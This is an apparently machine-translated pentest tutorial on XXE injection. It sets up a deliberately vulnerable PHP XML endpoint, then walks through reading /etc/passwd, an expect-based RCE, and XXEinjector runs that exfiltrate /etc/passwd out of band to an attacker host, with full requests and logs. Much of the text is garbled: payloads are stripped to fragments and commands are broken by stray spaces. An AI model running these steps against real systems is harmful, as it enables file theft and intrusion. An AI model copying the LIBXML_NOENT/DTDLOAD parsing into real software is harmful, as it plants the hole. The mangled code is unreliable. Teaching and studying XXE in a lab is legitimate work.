Exploitation of eXternal Entity XML (XXE) Vulnerabilities
- Tutorial
During penetration testing, we may encounter a vulnerability that allows us to perform XML eXternal Entity (XXE) Injection attacks. XXE Injection is a type of attack on an application that parses XML input. Although this is a relatively esoteric vulnerability compared to other vector attacks of web applications, for example, Cross-Site Request Forgery (CSRF), we make maximum use of this vulnerability when it appears, since it can lead to the extraction of confidential data and even to remote code execution (RCE). In this article, we will examine the configuration of a vulnerable PHP server by exploiting the vulnerability manually, and then move on to a convenient tool called XXEInjector to automate this process.
We will use two sites. The first is a simple PHP server, and the second is a virtual machine, with a vulnerable Django web application. Links to applications and vulnerable scripts are provided at the end of the article.
Customization
Before learning more about this attack, it will be useful to understand how the web application interacts with the XML document, allowing it to be exploited. To do this, we use a virtual machine with PHP, which uses an XML document to verify credentials.
We use Ubuntu, PHP 5 and Apache as a web server as a virtual machine (but we do not recommend using Apache on production servers). You will also need the php-xml module to work with XML parsing.
For testing, use the following code:
loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;
echo "You have logged in as user $user";
?>
The above script fires when a request is made to /xml_injectable.php.
Ed
mypass
It is expected that the four lines above will be entered at the above PHP endpoint, and they will be saved in an XML file called xml.txt. This file uses the data of the POST request via CURL:
The most interesting aspect of the analysis of the input XML files is that they can contain code that points to the file on the server itself. This is an example of an external entity. We will look at the full range of external objects, including files hosted on the Internet via FTP and HTTP.
Let's modify the xml.txt file to contain the following code:
Pay attention to the xxe element. After sending a request with POST data, the victim server will respond with the contents of / etc / passwd:
Xml.txt tells the server to search for an external object, file: / etc / passwd, and then enter the contents in the "user" field.
Remote code execution
If luck is on our side and the PHP parsing module is loaded, we can use RCE. Let's change the contents of our file:
]>
&xxe;
mypass
The response from the server will look like this:
However, such cases where RCE is possible through XXE are quite rare.
XXE Injection Automation with Burp and XXEinjector
Let's test automated tools to detect such vulnerabilities. We use the TurnKey Linux virtual machine, which runs the Django web application vulnerable to XXEi. We also use one of the popular tools for finding vulnerabilities in web applications - Burp Suite.
Unzip and run the VM configuration file (.vmx). The downloadme file is included in the download file to help you set up a private network on your computer.
The VM server has a vulnerable form - /static/mailingList.html. Send some random values and scan the Burp request with a scanner.
Burp should notify us of the XXE vulnerability, along with some dependent XSS as a bonus.
In fact, the professional version of Burp is fast enough to use Burp Collaborator, an external service that Burp can use to help detect vulnerabilities or exploit targets.
In fact, the Collaborator request sent by Burp to the vulnerable application is designed to invoke Burp Collaborator through DNS resolution and web requests that, if successful, will tell Burp that the target computer has completed a malicious payload. Most vulnerabilities can be discovered by examining or logging the response, but sometimes with an external service such as Burp Collaborator, you can go to the next level. In this case, Burp pulled out the / etc / passwd file itself.
The following images show the work of Collaborator.
To control the injection process most precisely, we will use XXEinjector. We need an incomplete request. We will save this code in the request.txt file.
XXEinjector Methodology
XXEinjector sends a payload that tells the remote server to respond with the requested file.dtd file. In the same request from XXEinjector, we call two other entities that can be executed only if file.dtd successfully gets to the victim's web server and is interpreted correctly. For example, in order for this to work on our PHP server, we need to specify the XXEinjector flag to encode our code in base64. Base64 uses a limited character set that will not cause interpreters to crash during the exploit (for example, quotation marks), and it needs an additional decoding step so that WAF / IDS / IPS cannot block it.
The request is as follows:
POST /xml_injectable.php HTTP / 1.1
User-Agent: Mozilla / 5.0 (Macintosh; Intel Mac OS X 10.11; rv: 49.0) Gecko / 20100101 Firefox / 49.0
Accept: text / html, application / xhtml + xml, application / xml; q = 0.9, * / *; q = 0.8
Accept-Language: en-US, en; q = 0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 158
Host: 192.168.242.139
Content-Type: application / x -www-form-urlencoded
192.168.240.1:80/file.dtd »>% remote;% int;% trick;]>
blah
mypass The
attacked server parses the request and substitutes“ remote ”for the contents of file.dtd (after accessing our attacking machine). The File.dtd file is as follows:
">
Notice that we are defining a new entity, “payl,” which is the URL of the file we are trying to extract. Then we identify the two missing objects from the previous query: “int” and “trick”. Note that “trick” is an object defined in another object - “int”. Finally, note that this code is not encoded. Some characters are encoded due to the embedding of one object in another, but the request itself is not encoded in base64.
Now we have all of our entities. Please note that in the definition of the entity “trick” we replace the contents of “payl” with the contents of / etc / passwd. This means that all the victim server has to do is send a request to the server running XXEinjector, passing the contents of / etc / passwd as a parameter to this URL. An application does not need to return the contents of the / etc / passwd file in response to a vulnerable web form / application page. It just sends a request with the contents in this parameter. XXEinjector analyzes the parameter and saves it in a file. Done!
Practical example
Let's get back to our first site - a simple PHP server working with the xml_injectable.php script. Let's modify the PHP script by commenting on irrelevant code.
loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// $creds = simplexml_import_dom($dom);
// $user = $creds->user;
// $pass = $creds->pass;
// echo "You have logged in as user $user";
?>
Thus, the script loads the XML-formatted request into the PHP object. We are parsing an XML document in a PHP object. Let's execute the XXEinjector sample request.
> sudo ruby XXEinjector.rb --host = 192.168.240.1 --path = / etc / passwd
--file = phprequest.txt --proxy = 192.168.240.1: 8080 --oob = http --verbose
POST /xml_injectable.php HTTP / 1.1
Host: 192.168.242.139
User-Agent: Mozilla / 5.0 (Macintosh; Intel Mac OS X 10.11; rv: 49.0) Gecko / 20100101 Firefox / 49.0
Accept: text / html, application / xhtml + xml, application / xml; q = 0.9, * / *; q = 0.8
Accept-Language: en-US, en; q = 0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
XXEINJECT
blah
mypass
After running this query, we get the following result from XXEinjector:
Enumeration locked.
Sending request with malicious XML:
192.168.242.139/xml_injectable.php
{"User-Agent" => "Mozilla / 5.0 (Macintosh; Intel Mac OS X 10.11; rv: 49.0) Gecko / 20100101 Firefox / 49.0", "Accept" = > "Text / html, application / xhtml + xml, application / xml; q = 0.9, * / *; q = 0.8", "Accept-Language" => "en-US, en; q = 0.5", "Accept -Encoding "=>" gzip, deflate "," Connection "=>" close "," Upgrade-Insecure-Requests "=>" 1 "," Content-Length "=>" 158 "}
" 192.168.240.1 : 80 /file.dtd »>% remote;% int;% trick;]>
blah
mypass
Got request for XML:
GET /file.dtd HTTP / 1.0
Responding with XML for: / etc / passwd
XML payload sent:
'http://192.168.240.1:80/?p=%payl;'> ">
FTP / HTTP did not get response. XML parser cannot parse provided file or the application is not responsive. Wait or Next?
Due to use with a few flags, we can see exactly what XXEinjector does, we see that XXEinjector made the victim server respond with the /file.dtd file.
After examining our error log from Apache, we noticed that our loadXML method did not receive enough data to force file it out.
[Sun Nov 06 09: 10: 46.145222 2016] [: error] [pid 1222] [client 192.168.242.1:64701] PHP Notice: DOMDocument :: loadXML (): PEReference:% int; not found in Entity , line: 1 in /var/www/html/xml_injectable.php on line 16
[Sun Nov 06 09: 10: 46.145257 2016] [: error] [pid 1222] [client 192.168.242.1:64701] PHP Notice: DOMDocument :: loadXML (): PEReference:% trick; not found in Entity, line: 1 in /var/www/html/xml_injectable.php on line 16
After some research on the semantics of XML and loadXML, we came to the realization that there is a problem with the encoding - with how the file is specified (/ etc / passwd). Fortunately, XXEinjector has a flag to encode this string. We just add the --phpfilter flag to our request.
> sudo ruby XXEinjector.rb --host = 192.168.240.1 --path = / etc / passwd --file = phprequest.txt --proxy = 192.168.240.1: 8080 --oob = http --verbose --phpfilter Execution
result :
XXEinjector by Jakub PałaczyńskiDTD injected.
Enumeration locked.
Sending request with malicious XML:
192.168.242.139/xml_injectable.php
{"User-Agent" => "Mozilla / 5.0 (Macintosh; Intel Mac OS X 10.11; rv: 49.0) Gecko / 20100101 Firefox / 49.0", "Accept" = > "Text / html, application / xhtml + xml, application / xml; q = 0.9, * / *; q = 0.8", "Accept-Language" => "en-US, en; q = 0.5", "Accept -Encoding "=>" gzip, deflate "," Connection "=>" close "," Upgrade-Insecure-Requests "=>" 1 "," Content-Length "=>" 158 "}
192.168.240.1:80/ file.dtd »>% remote;% int;% trick;]>
blah
mypass
Got request for XML:
GET /file.dtd HTTP / 1.0
Responding with XML for: / etc / passwd
XML payload sent: 'http: //192.168 .240.1: 80 /? P =% payl; '> "> Response with file / directory content received:
GET /? P = cm9vdDp4OjA6M (rest of base64 encoded string) HTTP / 1.0
Enumeration unlocked.
Successfully logged file: / etc / passwd
Nothing else to do. Exiting.
After checking in our XXEinjector Logs catalog, we will see the cherished dumps.
References
→ Vulnerable Django VM (password: mcfatty)
→ XXEinjector
→ Vulnerable PHP Script